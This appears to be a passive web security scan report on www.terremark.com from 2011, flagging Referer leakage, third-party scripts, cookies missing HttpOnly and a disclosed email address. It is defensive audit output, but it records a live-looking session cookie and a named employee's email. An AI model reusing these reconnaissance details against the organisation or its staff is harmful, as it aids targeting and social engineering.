The POSTing of data between domains does not necessarily constitute a security vulnerability. You should review the contents of the information that is being transmitted between domains, and determine whether the originating application should be trusting the receiving domain with this information.
Request
GET /contactus.aspx HTTP/1.1 Host: www.terremark.com Proxy-Connection: keep-alive Referer: http://www.terremark.com/default.aspx User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ecm=user_id=0&isMembershipUser=0&site_id=&username=&new_site=/&unique_id=0&site_preview=0&langvalue=0&DefaultLanguage=1033&NavLanguage=1033&LastValidLanguageID=1033&ContType=&UserCulture=1033&SiteLanguage=1033; ASP.NET_SessionId=igf2qijo3d4fwinasbhuf2u0
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Issue background
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
Request
GET / HTTP/1.1 Host: www.terremark.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The following email address was disclosed in the response:
pdelvalle@terremark.com
Issue background
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
Request
GET /Common/js/script.js HTTP/1.1 Host: www.terremark.com Proxy-Connection: keep-alive Referer: http://www.terremark.com/default.aspx User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ecm=user_id=0&isMembershipUser=0&site_id=&username=&new_site=/&unique_id=0&site_preview=0&langvalue=0&DefaultLanguage=1033&NavLanguage=1033&LastValidLanguageID=1033&ContType=&UserCulture=1033&SiteLanguage=1033; ASP.NET_SessionId=igf2qijo3d4fwinasbhuf2u0
Response
HTTP/1.1 200 OK Date: Thu, 14 Apr 2011 14:22:48 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Length: 30567 Cache-Control: public Last-Modified: Thu, 11 Jun 2009 00:42:00 GMT Content-Type: text/javascript
/*Javascript By: Hector*/
var navOptions = ['about','services','solutions','platform','investor','partners']; var CSSover = " over"; var CSSnoBdr = " noBdr"; var CSSselected = " selected"; var ...[SNIP]... t.srcElement;
//if (evt && (evt.keyCode == 13)) //{ var form = document.getElementById("aspnetForm");